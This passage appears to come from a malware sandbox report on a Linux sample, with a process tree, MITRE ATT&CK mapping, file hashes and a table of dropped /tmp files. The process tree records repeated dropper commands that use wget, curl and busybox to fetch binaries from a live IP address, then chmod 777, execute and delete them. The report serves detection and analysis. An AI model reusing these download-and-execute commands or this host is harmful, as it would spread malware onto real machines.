  /bin/busybox wget http://87.120.84.230/bins/i8MFcB58pUDRvIeOLlBCOQaIHxMy5Azi5h
  2⤵
  PID:958
- /bin/chmod
  chmod 777 i8MFcB58pUDRvIeOLlBCOQaIHxMy5Azi5h
  2⤵
  - File and Directory Permissions Modification
  PID:959
- /tmp/i8MFcB58pUDRvIeOLlBCOQaIHxMy5Azi5h
  ./i8MFcB58pUDRvIeOLlBCOQaIHxMy5Azi5h
  2⤵
  - Executes dropped EXE
  PID:960
- /bin/rm
  rm i8MFcB58pUDRvIeOLlBCOQaIHxMy5Azi5h
  2⤵
  PID:961
- /usr/bin/wget
  wget http://87.120.84.230/bins/q475hw9SJHEsRu3EFLaTZfXsRTxZj9jR5a
  2⤵
  PID:962
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/q475hw9SJHEsRu3EFLaTZfXsRTxZj9jR5a
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:963
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/q475hw9SJHEsRu3EFLaTZfXsRTxZj9jR5a
  2⤵
  PID:964
- /bin/chmod
  chmod 777 q475hw9SJHEsRu3EFLaTZfXsRTxZj9jR5a
  2⤵
  - File and Directory Permissions Modification
  PID:965
- /tmp/q475hw9SJHEsRu3EFLaTZfXsRTxZj9jR5a
  ./q475hw9SJHEsRu3EFLaTZfXsRTxZj9jR5a
  2⤵
  - Executes dropped EXE
  PID:966
- /bin/rm
  rm q475hw9SJHEsRu3EFLaTZfXsRTxZj9jR5a
  2⤵
  PID:967
- /usr/bin/wget
  wget http://87.120.84.230/bins/a6YBJTFJgtCKr3MjY5N8ONbJs9RaXVBy6t
  2⤵
  PID:968
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/a6YBJTFJgtCKr3MjY5N8ONbJs9RaXVBy6t
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:969
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/a6YBJTFJgtCKr3MjY5N8ONbJs9RaXVBy6t
  2⤵
  PID:970
- /bin/chmod
  chmod 777 a6YBJTFJgtCKr3MjY5N8ONbJs9RaXVBy6t
  2⤵
  - File and Directory Permissions Modification
  PID:971
- /tmp/a6YBJTFJgtCKr3MjY5N8ONbJs9RaXVBy6t
  ./a6YBJTFJgtCKr3MjY5N8ONbJs9RaXVBy6t
  2⤵
  - Executes dropped EXE
  PID:972
- /bin/rm
  rm a6YBJTFJgtCKr3MjY5N8ONbJs9RaXVBy6t
  2⤵
  PID:973
- /usr/bin/wget
  wget http://87.120.84.230/bins/mQ0u4I08C1Den4WvlpGXxdotZ9F4aUP1Wk
  2⤵
  PID:974
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/mQ0u4I08C1Den4WvlpGXxdotZ9F4aUP1Wk
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:975
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/mQ0u4I08C1Den4WvlpGXxdotZ9F4aUP1Wk
  2⤵
  PID:976
- /bin/chmod
  chmod 777 mQ0u4I08C1Den4WvlpGXxdotZ9F4aUP1Wk
  2⤵
  - File and Directory Permissions Modification
  PID:977
- /tmp/mQ0u4I08C1Den4WvlpGXxdotZ9F4aUP1Wk
  ./mQ0u4I08C1Den4WvlpGXxdotZ9F4aUP1Wk
  2⤵
  - Executes dropped EXE
  PID:978
- /bin/rm
  rm mQ0u4I08C1Den4WvlpGXxdotZ9F4aUP1Wk
  2⤵
  PID:979

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

yZp1IfU4YQe6kroWUNHw29DCa0yVtUTKfb

Path /tmp/yZp1IfU4YQe6kroWUNHw29DCa0yVtUTKfb
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/yZp1IfU4YQe6kroWUNHw29DCa0yVtUTKfb	738	yZp1IfU4YQe6kroWUNHw29DCa0yVtUTKfb
/tmp/hERVqu0yGB4vg814gFFKY1MBxui99AfFZh	744	hERVqu0yGB4vg814gFFKY1MBxui99AfFZh
/tmp/RlrPmdS9EXxHLmDjnbSqjxRzNAn2pGdhX2	750	RlrPmdS9EXxHLmDjnbSqjxRzNAn2pGdhX2
/tmp/8JqcO1hXczY2vGkvZA58tNz3fdQS8FV4Yn	778	8JqcO1hXczY2vGkvZA58tNz3fdQS8FV4Yn
/tmp/i8MFcB58pUDRvIeOLlBCOQaIHxMy5Azi5h	807	i8MFcB58pUDRvIeOLlBCOQaIHxMy5Azi5h
/tmp/q475hw9SJHEsRu3EFLaTZfXsRTxZj9jR5a	813	q475hw9SJHEsRu3EFLaTZfXsRTxZj9jR5a
/tmp/a6YBJTFJgtCKr3MjY5N8ONbJs9RaXVBy6t	823	a6YBJTFJgtCKr3MjY5N8ONbJs9RaXVBy6t
/tmp/mQ0u4I08C1Den4WvlpGXxdotZ9F4aUP1Wk	852	mQ0u4I08C1Den4WvlpGXxdotZ9F4aUP1Wk
/tmp/Hki2xPcf0rlNmyeJ0v5Z1ogqozuHKei2Uv	864	Hki2xPcf0rlNmyeJ0v5Z1ogqozuHKei2Uv
/tmp/7hkkslToMjrtef0IXdhdUy875ZrSxuE0Ac	870	7hkkslToMjrtef0IXdhdUy875ZrSxuE0Ac
/tmp/sBKe9h74gLMZLCAMvm0RGSyjUidhU5XDQp	876	sBKe9h74gLMZLCAMvm0RGSyjUidhU5XDQp
/tmp/pTL8566C9RsJnt3wbDzkP4RdCR8KcBm47x	882	pTL8566C9RsJnt3wbDzkP4RdCR8KcBm47x
/tmp/w24GZBPKwMmMWD33VMhRaJv2E70rekpex5	888	w24GZBPKwMmMWD33VMhRaJv2E70rekpex5
/tmp/aLDx92jK6s3CjUpDm5VoOPQ3nC4V0NiIfm	894	aLDx92jK6s3CjUpDm5VoOPQ3nC4V0NiIfm
/tmp/Hki2xPcf0rlNmyeJ0v5Z1ogqozuHKei2Uv	900	Hki2xPcf0rlNmyeJ0v5Z1ogqozuHKei2Uv
/tmp/7hkkslToMjrtef0IXdhdUy875ZrSxuE0Ac	906	7hkkslToMjrtef0IXdhdUy875ZrSxuE0Ac
/tmp/sBKe9h74gLMZLCAMvm0RGSyjUidhU5XDQp	912	sBKe9h74gLMZLCAMvm0RGSyjUidhU5XDQp
/tmp/pTL8566C9RsJnt3wbDzkP4RdCR8KcBm47x	918	pTL8566C9RsJnt3wbDzkP4RdCR8KcBm47x
/tmp/w24GZBPKwMmMWD33VMhRaJv2E70rekpex5	924	w24GZBPKwMmMWD33VMhRaJv2E70rekpex5
/tmp/aLDx92jK6s3CjUpDm5VoOPQ3nC4V0NiIfm	930	aLDx92jK6s3CjUpDm5VoOPQ3nC4V0NiIfm
/tmp/yZp1IfU4YQe6kroWUNHw29DCa0yVtUTKfb	936	yZp1IfU4YQe6kroWUNHw29DCa0yVtUTKfb
/tmp/hERVqu0yGB4vg814gFFKY1MBxui99AfFZh	942	hERVqu0yGB4vg814gFFKY1MBxui99AfFZh
/tmp/RlrPmdS9EXxHLmDjnbSqjxRzNAn2pGdhX2	948	RlrPmdS9EXxHLmDjnbSqjxRzNAn2pGdhX2
/tmp/8JqcO1hXczY2vGkvZA58tNz3fdQS8FV4Yn	954	8JqcO1hXczY2vGkvZA58tNz3fdQS8FV4Yn
/tmp/i8MFcB58pUDRvIeOLlBCOQaIHxMy5Azi5h	960	i8MFcB58pUDRvIeOLlBCOQaIHxMy5Azi5h
/tmp/q475hw9SJHEsRu3EFLaTZfXsRTxZj9jR5a	966	q475hw9SJHEsRu3EFLaTZfXsRTxZj9jR5a
/tmp/a6YBJTFJgtCKr3MjY5N8ONbJs9RaXVBy6t	972	a6YBJTFJgtCKr3MjY5N8ONbJs9RaXVBy6t
/tmp/mQ0u4I08C1Den4WvlpGXxdotZ9F4aUP1Wk	978	mQ0u4I08C1Den4WvlpGXxdotZ9F4aUP1Wk